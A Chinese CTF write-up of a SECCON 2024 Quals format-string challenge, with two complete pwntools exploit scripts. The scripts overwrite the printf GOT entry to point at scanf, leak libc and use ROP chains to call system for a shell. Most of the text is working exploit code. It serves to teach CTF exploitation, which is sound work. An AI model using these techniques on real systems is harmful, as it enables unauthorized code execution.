paragraph
该题来自 SECCON 2024 Quals,反编译:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, nullptr);
setbuf(stdout, nullptr);
puts("\"What is your name?\", the black cat asked.");
__isoc99_scanf("%23s", format);
printf(format);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", format);
return 0;
}
可以进行格式化字符串攻击,这里主要的问题是限制 23 字节,因此没法写太多数据。分析 libc 的符号:
- __isoc23_scanf 在 0x5fa50
- printf 在 0x600f0
如果 libc 基地址以 0x1000 结尾,那么这两个函数的地址变为:
- __isoc23_scanf 在 0x60a50
- printf 在 0x610f0
这个时候,只需要覆盖 printf 的低 2 字节为 0x0a50,后续对 printf 的调用就是调用 scanf,这样就可以在最后一个 scanf 里进行任意长度的栈溢出。
与此同时,还有足够的空间来 leak libc 地址:%11$p。
这样,就可以完成后续的 ROP chain,pop rdi,再调用 system:
from pwn import *
context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"
while True:
if args.REMOTE:
p = remote(args.HOST, args.PORT)
else:
p = process("strace -o strace.log ./chall.patched", shell=True)
# p = process("./chall.patched")
elf = ELF("./chall.patched")
libc = elf.libc
# override printf to __isoc23_scanf, 1/16 success probability
p.recvuntil(b"black cat asked.")
# __isoc23_scanf @ 0x5fa50
# printf @ 0x600f0
# we hope that libc base ends in 0x1000:
# __isoc23_scanf becomes 0x60a50
# printf becomes 0x610f0
# the override works!
val = libc.symbols["__isoc23_scanf"] & 0xFFF
fmt = flat({0: f"%{val}c%8$hn%11$p".encode(), 16: elf.got["printf"]})
# pause()
# gdb.attach(p)
p.send(fmt[:23])
p.recvuntil(b"0x")
addr = int(p.recvuntil(p64(elf.got["printf"])[:3], drop=True)[:12].decode(), 16)
# return address for call *%rax in glibc
libc_addr = addr - 0x7FD89220E1CA + 0x7FD8921E4000
print(f"libc 0x{libc_addr:x}")
libc.address = libc_addr
rop = ROP(libc)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
# now we can override stack to get shell
sh_addr = next(libc.search(b"/bin/sh\x00"))
payload = (
b"A" * 0x28
+ p64(pop_rdi_ret)
+ p64(sh_addr)
+ p64(ret)
+ p64(libc.symbols["system"])
)
payload = (
b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
+ payload
+ b" warmly.\na" # trailing a required to let scanf return
)
try:
p.sendline(payload)
p.sendline(b"id")
p.recvuntil(b"uid")
except KeyboardInterrupt:
break
except:
p.close()
continue
p.interactive()
break
不过,在 redbud 的平台上跑的时候,leak 出来的 libc 地址总是以 0x5000 或 0xd000 结尾,上面的办法就不 work 了,因为没有足够的空间来 leak libc 了。不过,另辟蹊径,还是实现了类似的结果:
首先,还是要覆盖 printf 的低地址,这次用的是 scanf 本体:
- scanf 在 0x66290
- printf 在 0x600f0
如果 libc 基地址以 0x5000 结尾,那么这两个函数的地址变为:
- scanf 在 0x6ba50
- printf 在 0x650f0
那么,这次要写入的就是 0xba50,让 printf 变成 scanf。此时就没法 leak libc 了,转而在后续的 ROP chain 里 leak:
- pop rdi + got puts + plt puts,调用 puts(puts),从而 leak libc
- 回到 main 函数的 scanf("%23s", format) 前面的位置(0x4011DD),把 rsi 指向 got 表中 printf 前面的位置,这样就可以用这个 scanf 来修改 printf 地址为 system
- 与此同时,把 rbp 也指向 got 表,这样一次 scanf 可以完成 "sh" 的植入,以及 printf 地址的修改
- 后续执行 scanf 之前,已经通过 puts 获取 libc 地址,因此后续再把 system 的地址发过去即可
from pwn import *
context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"
while True:
if args.REMOTE:
p = remote(args.HOST, args.PORT)
else:
# p = process("strace -F -o strace.log ./chall.patched", shell=True)
p = process("./chall.patched")
elf = ELF("./chall.patched")
libc = elf.libc
# override printf to scanf, 1/16 success probability
p.recvuntil(b"black cat asked.")
# scanf @ 0x66290
# printf @ 0x600f0
# we hope that libc base ends in 0x5000:
# printf becomes 0x650f0
# scanf becomes 0x6ba50
# the override works!
val = (libc.symbols["scanf"] & 0xFFF) + 0xB000
fmt = flat({0: f"%{val}c%8$hn".encode(), 16: elf.got["printf"]})
# pause()
# gdb.attach(p)
p.send(fmt[:23])
rop = ROP(elf)
pop_rsi_pop_r15_ret = rop.find_gadget(["pop rsi", "pop r15", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rbp_ret = rop.find_gadget(["pop rbp", "ret"]).address
ret = rop.find_gadget(["ret"]).address
# now we can override stack to return to main
# 0x4011dd: before scanf
payload = (
cyclic(0x28)
# puts(puts): leak libc
+ p64(pop_rdi_ret)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
# scanf("%23s", printf - 1 - 4)
# why 1: the z in payload below
# why 4: store the sh
+ p64(pop_rsi_pop_r15_ret)
+ p64(elf.got["printf"] - 1 - 4)
+ p64(0)
# rbp: used for arg of system called via printf plt
+ p64(pop_rbp_ret)
# note the 0x20 offset in lea -0x20(%rbp), %rax
+ p64(elf.got["printf"] - 4 + 0x20)
+ p64(0x4011DD)
)
payload = (
b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
+ payload
+ b" warmly.\nz" # the latest z is required for scanf to stop
)
try:
# end of fmt
p.recvuntil(b"daaa")
p.send(payload)
# read leaked libc address back
puts_resp = p.recvuntil(b"\x7f")[-6:]
except KeyboardInterrupt:
break
except:
p.close()
continue
puts_addr = u64(puts_resp + b"\x00\x00")
libc_addr = puts_addr - libc.symbols["puts"]
print(f"libc 0x{libc_addr:x}")
libc.address = libc_addr
# pause()
# gdb.attach(p)
# call system("sh")
p.sendline(b"sh\x00\x00" + p64(libc.symbols["system"]))
p.sendline(b"id")
p.interactive()
break
See also: https://blog.rosay.xyz/seccon-reflections/